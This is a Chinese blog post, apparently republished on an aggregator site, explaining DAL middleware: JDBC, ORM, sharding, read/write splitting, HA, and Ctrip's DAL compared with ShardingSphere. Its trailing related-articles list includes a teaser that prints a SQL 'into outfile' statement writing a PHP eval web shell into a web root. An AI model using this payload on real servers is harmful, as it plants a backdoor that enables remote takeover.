【中间件】DAL中间件intro

news2025/2/27 14:14:33

中间件middleware

内容管理

    • intro
    • 数据访问层
    • why use DAL中间件
    • 主流DAL中间件方案
    • DAL浅析


本文从理论上介绍一下服务化背景下的DAL中间件的理论并浅析相关中间件


cfeng之前work的时候产品发展到分离服务不分库的阶段,所以根本不需要DAL中间件,也没有分布式事务的实践。实际上很多产品因为业务数据量比较庞大都是分库的,所以需要相关的DAL中间件进行协助

intro

数据是公司的重要资源,数据持久化也是产品的基本需求。数据库是常用的数据持久化的介质。随着业务规模的扩大,分布式架构下数据库通常也会进行分离,为了解决数据库访问规范性、并进行数据库资源的保护、安全问题预防、

并且随着业务的增长,现在的产品架构很少是单体架构的方式,也就是伴随着服务化,当产品数据量增长到一定的量级,单一的数据库便不能在支撑快速的查询,便需要进行分库分表,分库之后我们就不可能再简单使用ORM框架解决问题,而是需要配合DAL中间件进行问题的解决。

数据访问层

三层的软件架构通常分为:表示层,业务逻辑层和数据访问层。 按照单一职责,数据访问层应该是唯一可以和数据库进行交互的部分。

数据访问层需要具备的功能包括: 数据的CRUD、 事务transaction的支持【保证数据一致性】

数据库作为一种软件产品也是有很多的,为了统一不同厂商的数据库访问方式,主流的开发语言一般都定义了各自的数据库访问规范。 比如java的就是JDBC规范【定义了数据库操作接口和类,数据库厂商为了获得该类语言的用户,就会去实现这些接口,作为各自的JDBC驱动】 ----- 这样用户就可以使用标准的SQL来访问不同的数据库。

直接通过JDBC进行数据库访问还是比较麻烦的,cfeng之前的blog也提到过,就是典型的JDBC编程6步,其中很多步骤像获取驱动,获取Connection连接等都是固定的流程,实际关键的只有编写SQL语句进行解析。   

使用原色JDBC的几个典型缺陷:

  • 每次访问数据库需要获取Connection连接,这是一个重对象,开销大。总是创建新Connection会增加数据库压力。 为了更高效的治理这种大对象,就有池化技术, 数据库连接池以数据源的形式暴露给用户 ---- 从数据库连接池获取一个连接即可,避免浪费,常见的包括Druid等
  • JDBC面向SQL,而java本身是面向对象的。 也就是我们系统中处理的是对象及属性,需要进行对象关系映射。 因此就需要对象关系映射(Object-Relation Mapping)ORM框架 ---- 将对象数据转化为SQL再通过JDBC执行, 常见包括Mybatis系列、Hibernate等

成熟的数据访问层需要具有对象关系映射和 数据源管理的能力, 在此能力基础上提供CRUD和事务能力。

why use DAL中间件

ORM框架和数据源对JDBC的底层操作进行一定程度的封装和抽象,让操作数据库变得十分便捷。那为什么还需要DAL中间件呢?(中间件是一个成品)

中间件主要意义就是封装抽象, 通过DAL中间件,开发者不需要关注数据访问的底层实现,就只需要使用DAL中间件完成功能即可,更关注逻辑 【其实中间件功能都一样,更好的封装性、更便捷的使用,不关注底层实现,专注逻辑】

单体架构的项目数据量不大,在业务量不大的情况下,尤其是整体的综合要求低的情况下,单一数据源 + ORM框架就可以解决问题,没有必要上DAL中间件增加成本

当数据量增加之后,特别是多数据库情况下,那么就有必要使用DAL中间件来解决问题, 一个成熟的DAL中间件应该具有以下功能:

数据库资源管理

数据库连接创建和销毁的正确管理,保持数据库服务的性能和SQL执行效率;一般都支持数据库连接池的配置参数化来保证不同条件下的性能最佳

数据安全控制

除了常见的SQL注入(预编译),还有其他的一些安全控制像API校验、数据库连接字符串几种管理,数据脱敏…

读写分离

大部分产品的查询读取频率是高于写频率的,但是数据库读写会有相关的锁机制会限制读操作的想你。 读操作要求较高的场景下,就需要考虑读写分离: 主写从读,并且各个数据节点进行数据同步。 多个数据源的管理就涉及到数据源选择,也需要DAL中间件提供支持

分库分表

业务量增加,存储的数据增加,单表的性能会严重下降,往往就会进行分库分表: 使用一定算法对数据库表的数据进行分组,数据均匀落在不同的分片上(shard),分片可以是不同的数据库,也可以是不同的表; 这个情况下就需要进行路由控制, 良好的DAL中间件可以提供分片算法和分片路由; 而这些细节不需要用户考虑,用户直接像操作单表一样操作DAL即可

数据访问HA

数据是最重要的资产。核心数据必须考虑HA,数据库故障自动恢复和转移能力。比如MHA: 主库故障时,自动选择一个从库作为一个新的主库。 所以应用的后台数据源可能是动态变化的,也需要DAL来进行数据源的治理

主流DAL中间件方案

上面提到,对于小型单体项目而言, ORM框架 + 数据源 就可以满足数据访问需求。

-----------------------------
|   client				   |
|  ORM框架 ----> DataSource  |  ------->   DB
|----------- ---------------- 

但是大型的分布式系统,单数据库是不能满足庞大的业务需求的,往往就需要进行数据库的扩展并伴随着HA问题,需要考虑如何进行读写分离、分库分表、数据源动态切换等问题

读写分离、分库分表、数据源的动态切换等问题的核心是多数据源的管理和切换, 多数据库访问的基本模式主要有两种: 客户端模式和代理模式

在这里插入图片描述

  • 客户端模式 : 客户端模式中间件内部为目标数据源维护了一个数据源(连接池),数据源管理、请求路由、结果集拼装都可以在业务应用服务器上直接完成。 应用服务器直接和目标数据库建立连接。 客户端模式的中间件通常封装jar包给业务应用对接, 所以业务应用就是客户端, 客户端修改代码进行适配

    实现简单、嵌入到业务应用中,不需要考虑额外组件的高可用问题,同时,也增加了耦合度

  • 代理模式: 代理模式中间件 就是 独立部署了一套代理服务(就自己的server),业务应用将SQL请求发到这个代理服务中, 代理服务进行SQL的处理、路由和结果封装等事情,代理服务直接访问所有的数据库,业务应用就像访问单库一样访问代理服务即可

    跨平台、跨语言支持、服务端维护升级很容易、和业务耦合度低,操作更简单

但是像我们平时使用的MQRedisELK....大多都是独立的服务,需要进行单独的server部署的,直接嵌入的比较少,因为嵌入带来的问题就是耦合,导致升级、使用较麻烦

现在市面上流行的DAL中间件还是比较多的,像MyCat、ShardingSphere等

在这里插入图片描述

cfeng自己浏览Github上的DAL和Sharding-Sphere, 其中Sharding-Sphere实现较为完善并且一直在进行更新维护,而DAL上次维护时间比较久,整体上感觉DAL更小一些,所以接下来介绍以下DAL,Sharding-Sphere后面也会进行详细的实战分享

GitHub - apache/shardingsphere: Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database. 【Sharding-Sphere开源地址】

https://github.com/ctripcorp/dal 【DAL开源地址】,当然Youtube的Vitess也不错,后面有机会去调研一下

DAL浅析

Trip.com的DAL相比Sharding-Sphere比较小,其是基于客户端模式实现的,耦合度当然高一些,客户端模式的DAL我们其实可以把其看作一个功能更综合的超级ORM框架,整个框架包含DAL生成器和DAL客户端组件。 用户通过DAL代码生成器在线生产代码和配置,嵌入到自己的项目中,通过DAL客户端完成数据库的访问操作。

在这里插入图片描述

可以看到其实实现的关键还是DAL代码生成起,其需要获得DB信息生成DAL代码嵌入到用户的业务系统中。

当然其如果综合运用,可以将所有的数据源全部整合起来,生成向导指引,每个团队维护自己的DAL项目,生成自己团队需要的DAL代码。 生成器的好处就是统一的代码风格,维护更容易

嵌入到用户系统的SDK的DAL客户端由基本的ORM和DataSource两部分组成

在这里插入图片描述

ORM就和其他的Mybatis等类型一样负责进行对象关系映射,数据源就进行数据源治理。DAL除了提供基本的CRUD和事务功能之外,还包括上面提到过的分库之后的一些解决方案:

  • 读写分离: DAL支持默认读写分离策略和智能读写分离策略。 默认就是主写从读,多个从库,随机选择或者指定。 智能读写分离针对的是对数据延迟有要求的场景,可以指定数据的新鲜度,然后就会在延迟小于新鲜度的从库选择数据【延迟低】

  • 分库分表: 分片策略内置的是取模策略,用户可以配置取模的列名、模数、分片表名等参数, 支持自定义策略; 分片执行上: 批量数据自动分组、跨分片并行执行、结果集合并,整个流程如下:

    在这里插入图片描述

  • 全局唯一ID生成: 分布式场景下需要主键跨库唯一, 那比如单库主键自增方案失效, DAL也提供了一种全局唯一ID生成方案,自动生成使用分库分表的主键。DAL全局唯一ID基于的snowflake算法实现,客户端IDGen client负责提供API给用户用于获取ID,服务端IDGen Server负责生成

    在这里插入图片描述

  • 数据源动态切换: DAL客户端创建数据源后会监听服务端的连接字符串的变更,当因数据库集群主库故障发生主从切换时, DAL客户端会在收到变更通知后进行数据源动态切换实现HA — DAL使用两层数据源对象,外层是经过封装可切换数据源,内层才是真正的物理数据源。 用户直接获取的是外层数据源,当切换数据源,会创建新的物理数据源,替换当前的物理数据源,外层的引用不变

  • 多渠道日志监控: 数据库的数据很重要,DAL支持监控功能,有日志记录器接口和实现类,用户可以根据需求选择不同的日志记录器。 DAL会记录组件初始化过程、连接池活动状态、SQL请求要素、数据源切换动作…的行为数据。 DAL还对接了相关的加农系统,像ES…,便于检测数据库操作性能指标和后续的数据维度统计

  • 数据库连接字符串管理: 数据库连接字符串集中管理,并进行权限控制,在DAL客户端配置数据库唯一标识访问指定数据库,DAL内部完成数据库连接字符串的获取。

  • 多数据库差异化封装: DAL支持MySQL、Oracle…多种数据库访问,对用户屏蔽底层实现细节,无需关注数据库类型,统一编写业务逻辑代码

因为DAL是ctrip实现的,ctrip之前主要是C#,之后转为java,所以DAL的客户端组件也是支持java和C#的。

整体上来说,DAL可能比较小众,但是毕竟是开源的,还是有很大的研究价值。

img

后续在进行深入探讨的时候可能还会进行源码分析和其他的DAL中间件比如Sharding-Sphere的研究,Sharding-Sphere毕竟是Apache的顶级开源项目,后续还是会分享一下的🌲

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1268193.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux(11):Linux 账号管理与 ACL 权限设定

Linux 的账号与群组 每个登入的使用者至少都会取得两个 ID,一个是使用者 ID(User ID ,简称UID)、一个是群组ID (Group ID ,简称GID)。 Linux系统上面的用户如果需要登入主机以取得 shell 的环境来工作时,他需要如何进行呢? 首先…

网络通信与TCP.IP协议

网络通信与TCP.IP协议 URI 用字符串标识某一互联网资源,而 URL 表示资源的地点(互联网上所处的位置)。可见 URL 是 URI 的子集 URL (Uniform Resource Locator),统一资源定位符 ,用于描述一个网络上的资源 DNS: &#…

TCP 连接建立

1:TCP 三次握手过程是怎样的? 客户端和服务端都处于 CLOSE 状态,服务端主动监听某个端口,处于 LISTEN 状态 第一次握手:客户端带着序号和SYN为1,把第一个 SYN 报文发送给服务端,客户端处于 SYN-…

沈阳师范大学期末考试复习pta循环数组函数指针经典编程题汇总+代码分析

前言:临近期末,接下来给大家分享一些经典的编程题,方便大家复习。不一定难,但都是入门的好题,尽可能的吃透彻。因为据说期末考试的题很多来自pta上面的原题。 对于一些语言我是用c来写的,不妨碍理解&#…

【软件测试学习】—软件测试模型(二)

【软件测试学习】—软件测试模型(二) 我 | 在这里 👩‍🦰👩‍🦰 读书 | 长沙 ⭐计算机科学与技术 ⭐ 本科 【2024届】 🎃🎃 爱好 | 旅游、跑步、网易云、美食、摄影 🎖️…

C++ day44完全背包问题 零钱兑换Ⅱ 组合总和Ⅳ

完全背包:一个物品可以使用无数次,将01背包中倒序遍历背包变成正序遍历背包 遍历顺序:在完全背包中,对于一维dp数组来说,其实两个for循环嵌套顺序是无所谓的! 先遍历物品,后遍历背包可以&#…

ESP32-Web-Server 实战编程-使用文件系统建立强大的 web 系统

ESP32-Web-Server 实战编程-使用文件系统建立强大的 web 系统 概述 在前述章节我们讲述了在网页端控制多个 GPIO 的案例。当程序开始变得复杂,让一些功能“自动起来”是一个好的选择。 在前面的示例中,我们需要在后端为每个前端代码的 URL 指定一个对…

SQL server界面操作链接服务器

1.打开链接服务器,右击连接服务器“新建链接服务器” 2.输入链接服务器名称和数据源 3.安全性中输入密码建立远程连接,点击确定: 4.打开新建的连接服务器,测试连接: 注意:链接服务器必须在局域网执行,不是同…

不同类型的开源许可证

不同类型的开源许可证 什么是开源许可证 最简单的解释是,开源许可证是计算机软件和其他产品的许可证,允许在定义的条款和条件下使用、修改或共享源代码、蓝图或设计。开源并不意味着该软件可以根据需要使用、复制、修改和分发。根据开源许可证的类型&a…

荣耀IPO站上新起点:市场望眼欲穿,发展未来可期

撰稿|行星 来源|贝多财经 荣耀手机HONOR(简称“荣耀”)IPO上市一事有了新的进展。 近日,荣耀终端有限公司发布董事会公告称,为实现公司下一阶段的战略发展,该公司将不断优化股权结构,吸引多元化资本进入…

面试题:海量PDF的OCR处理思路

关键点: 1000wPDF:数据量非常大。3天处理完:有时间限制。一篇PDF1~10s:可能需要以最高10s去做计算,这样时间才能保证留有富余。要求资源最大化利用:也就是尽可能节省服务器资源,能复用尽量复用&…

一切为了应用!九章云极DataCanvas大模型系列成果重磅发布!

11月21日,「筑基赋能 智向未来」九章云极DataCanvas大模型系列成果发布会(以下简称“发布会”)在北京重磅召开,本次成果发布距离今年6月30日DataCanvas Alaya九章元识大模型公布仅4个多月,是九章云极DataCanvas公司大模…

用flutter 写一个专属于儿子的听书的app

背景: 儿子最近喜欢上了用儿童手表听故事,但是手表边里的应用免费内容很少,会员一年要300多,这么一笔巨款,怎能承担的起,所以打算自己开发一个专属于儿子的听书app。 最终效果: 架构: 后端由两…

stm32 计数模式

计数模式 但是对于通用定时器而言,计数器的计数模式不止向上计数这一种。上文基本定时器中计数器的计数模式都是向上计数的模式。 向上计数模式:计数器从0开始,向上自增,计到和自动重装寄存器的目标值相等时,计数器清…

拒绝随波逐流!设计与实现可控的水下机器人

这个“长着三个触角”的水下机器人看上去是不是很萌?它使用的是一种新型的由三个球形磁耦合矢量推进器组成的推进系统。与传统的水下机器人使用多个固定推进器来实现多自由度(DOF)推进相比,矢量推进器具有多自由度、寄生推力小&am…

WARNING: Access control is not enabled for the database.

MongoDB shell version v3.4.24 WARNING: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted. 1)未启用访问控制 2)读写访问不受限制 D:\MongoDB\Server\3.4\bin>mongo MongoDB shell version v3.4.24 c…

BUUCTF刷题之路-pwn-ciscn_2019_n_81

这 题查保护的时候吓了一跳,保护全开。脑子飞速旋转是要我绕过canary,PIE然后再利用栈溢出劫持程序流吗: 然后扔进IDA中查看下大致流程: 大致看出var是个数组,当var[13]17的时候就会得到system。那还不简单直接写payload: from p…

2021年1月19日 Go生态洞察:Go命令行路径安全性的提升

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

freertos任务调度机制深度分析(以RISC-V架构为例)

1、前言 本文是以RISC-V架构为例进行讲解,在汇编代码层面和ARM架构不一样,但是整体框架是一样的侧重任务调度底层机制讲解,讲解代码只保留了基本功能,可配置的功能基本都已经删除本文是以可抢占式调度机制进行讲解RISC-V架构只支持…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…